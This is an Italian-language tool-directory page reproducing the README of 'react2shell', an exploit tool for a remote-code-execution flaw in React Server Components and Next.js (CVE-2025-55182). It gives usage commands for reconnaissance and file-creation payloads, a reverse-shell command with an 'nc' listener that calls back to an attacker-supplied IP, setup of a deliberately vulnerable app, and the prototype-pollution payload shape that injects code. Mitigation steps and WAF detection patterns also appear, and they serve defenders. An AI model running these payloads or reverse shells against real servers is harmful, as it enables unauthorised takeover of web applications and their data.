Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
react2shell — Un framework completo per sfruttare la vulnerabilità CVE-2025-55182 | Kitploit
Strumenti/GitHubGitHub/zr0n/react2shell
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneStrumento di Accesso RemotoSviluppo Payload
GitHubzr0n/react2shell

react2shell

Un framework completo per sfruttare la vulnerabilità CVE-2025-55182

Vedi Repository
1051310 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

React2Shell - CVE-2025-55182 Exploit PoC

Security Platform License

Un proof-of-concept dell'exploit per CVE-2025-55182, una vulnerabilità critica di Remote Code Execution nelle applicazioni Next.js che utilizzano React Server Components.

⚠️ DISCLAIMER

QUESTO STRUMENTO È SOLO PER TEST DI SICUREZZA EDUCATIVI E AUTORIZZATI.

  • ❌ NON utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicito permesso di test
  • ❌ L'accesso non autorizzato a sistemi informatici è illegale
  • ✅ Utilizzalo solo in ambienti controllati per apprendimento e test di penetrazione autorizzati
  • ✅ L'autore non è responsabile per uso improprio o danni causati da questo strumento

📋 Dettagli della Vulnerabilità

  • CVE ID: CVE-2025-55182
  • Vulnerabilità: Remote Code Execution in React Server Components
  • Versioni Affette:
    • Next.js: ≥14.3.0-canary.77, tutte le versioni 15.x e 16.x con App Router
    • React: 19.0, 19.1.0, 19.1.1, 19.2.0
  • Versioni Corrette:
    • Next.js: 16.0.7, 15.5.7, 15.4.8, 15.3.6, 15.2.6, 15.1.9, 15.0.5
    • React: 19.0.1, 19.1.2, 19.2.1
  • Punteggio CVSS: Critico
  • Vettore d'Attacco: Basato su rete, richiede richiesta POST appositamente costruita

🎯 Funzionalità

  • ✅ Supporto multipiattaforma (Windows e Linux)
  • ✅ Molteplici tipi di payload
  • ✅ Capacità di reverse shell
  • ✅ Payload di prova visiva (calc, notepad)
  • ✅ Operazioni sul file system
  • ✅ Raccolta informazioni di sistema

🔧 Installazione

# Clona o scarica questo repository
git clone https://github.com/zr0n/react2shell
cd react2shell

# Installa le dipendenze
npm install form-data

💻 Utilizzo

Sintassi di Base

node react2shell.js <url_target> <tipo_payload> [opzioni]

Payload Disponibili

PayloadDescrizioneEsempio
basicProva di concetto matematica (7*7+1=50)node react2shell.js http://target:3000 basic
whoamiMostra l'utente corrente del sistemanode react2shell.js http://target:3000 whoami
dirElenca il contenuto della directory correntenode react2shell.js http://target:3000 dir
systeminfoMostra le informazioni del sistema operativonode react2shell.js http://target:3000 systeminfo
fileCrea il file di prova EXPLOITED.txtnode react2shell.js http://target:3000 file
calcAvvia la calcolatrice (prova visiva Windows)node react2shell.js http://target:3000 calc
notepadAvvia il blocco note (prova visiva Windows)node react2shell.js http://target:3000 notepad
shellReverse shell (rilevamento automatico Windows/Linux)node react2shell.js http://target:3000 shell 10.10.10.5 4444

Esempi

1. Prova di Concetto Base

node react2shell.js http://localhost:3000 basic
# Controlla la console del server per l'output: EXPLOITED: 50

2. Ricognizione di Sistema

# Ottieni l'utente corrente
node react2shell.js http://localhost:3000 whoami

# Elenca i file
node react2shell.js http://localhost:3000 dir

# Informazioni di sistema
node react2shell.js http://localhost:3000 systeminfo

3. Prova Visiva (Windows)

# Avvia la calcolatrice
node react2shell.js http://localhost:3000 calc

# Avvia il blocco note
node react2shell.js http://localhost:3000 notepad

4. Prova di Creazione File

node react2shell.js http://localhost:3000 file
# Controlla la directory del server per EXPLOITED.txt

5. Reverse Shell

# Terminale 1: Avvia il listener
nc -lvnp 4444

# Terminale 2: Esegui l'exploit
node react2shell.js http://localhost:3000 shell <TUO_IP> 4444

# Funziona sia su Windows (PowerShell) che su Linux (Bash)

🏗️ Configurazione dell'Ambiente Vulnerabile

Prerequisiti

  • Node.js 18+
  • npm o yarn

Crea Applicazione Next.js Vulnerabile

# Crea la directory del progetto
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app

# Inizializza Next.js con versione vulnerabile
npx create-next-app@latest . --ts --app --no-eslint --tailwind

# Downgrade alla versione vulnerabile
npm install [email protected]

# Installa le dipendenze
npm install

App Vulnerabile Minima (app/page.tsx)

export default function Home() {
  return (
    <div className="p-8">
      <h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
      <p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
    </div>
  );
}

Avvia il Server

npm run dev
# Il server è in esecuzione su http://localhost:3000

🔍 Come Funziona

L'exploit sfrutta una vulnerabilità di deserializzazione nei React Server Components:

  1. Costruzione del Payload: Crea un oggetto serializzato malevolo con contaminazione del prototipo
  2. Accesso al Costruttore di Funzioni: Sfrutta constructor.constructor per accedere al costruttore di funzioni
  3. Iniezione di Codice: Inietta codice JavaScript arbitrario tramite il campo _prefix
  4. Esecuzione: Il server deserializza il payload ed esegue il codice iniettato

Dettagli Tecnici

// Catena di vulnerabilità semplificata
{
  _formData: {
    get: '$3:constructor:constructor' // Accesso al costruttore di funzioni
  },
  _prefix: 'YOUR_CODE_HERE//' // Codice iniettato
}

🛡️ Mitigazione

Per i Proprietari dell'Applicazione

  1. Aggiornare Immediatamente:

    npm update next@latest
    npm update react@latest react-dom@latest
    
  2. Verificare le Versioni Corrette:

    npm list next react
    
  3. Versioni Richieste:

    • Next.js: ≥16.0.7 o ≥15.5.7
    • React: ≥19.2.1 o ≥19.1.2

Per i Team di Sicurezza

  • Scansionare le versioni vulnerabili di Next.js nella propria infrastruttura
  • Implementare regole Web Application Firewall (WAF) per rilevare payload RSC malevoli
  • Monitorare richieste POST sospette con header next-action
  • Rivedere i log lato server per pattern di esecuzione di codice inaspettati

📊 Rilevamento

Regole WAF

Cercare richieste POST con:

  • Header: next-action
  • Content-Type: multipart/form-data
  • Corpo contenente: constructor, _prefix, _formData

Pattern di Log

POST / con header next-action
Chiavi FormData sospette: 0, 1, 2, 3, 4
Risposta: 200 (exploit riuscito) o 500 (fallito)

📚 Riferimenti

  • CVE-2025-55182 - NVD
  • Avvisi di Sicurezza di Next.js
  • Aggiornamenti di Sicurezza di React
  • OWASP Code Injection

🤝 Contributi

Questo è uno strumento educativo. Sono benvenuti contributi che migliorano:

  • Capacità di rilevamento
  • Documentazione
  • Strategie difensive
  • Contenuti educativi

NON inviare contributi che migliorano le capacità di attacco.

📜 Licenza

Solo per uso educativo - Nessuna garanzia fornita

👤 Autore

Luiz Fernando Ziron Creato a scopo di educazione e sensibilizzazione sulla sicurezza informatica.

⚖️ Avviso Legale

Utilizzando questo strumento, accetti di:

  • Usarlo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta per i test
  • Assumerti la piena responsabilità delle tue azioni
  • Non ritenere l'autore responsabile per qualsiasi uso improprio o danno
  • Rispettare tutte le leggi e normative applicabili

L'accesso non autorizzato a sistemi informatici è un reato nella maggior parte delle giurisdizioni.


Resta al sicuro, resta etico, resta legale. 🔒

Scarica lo strumento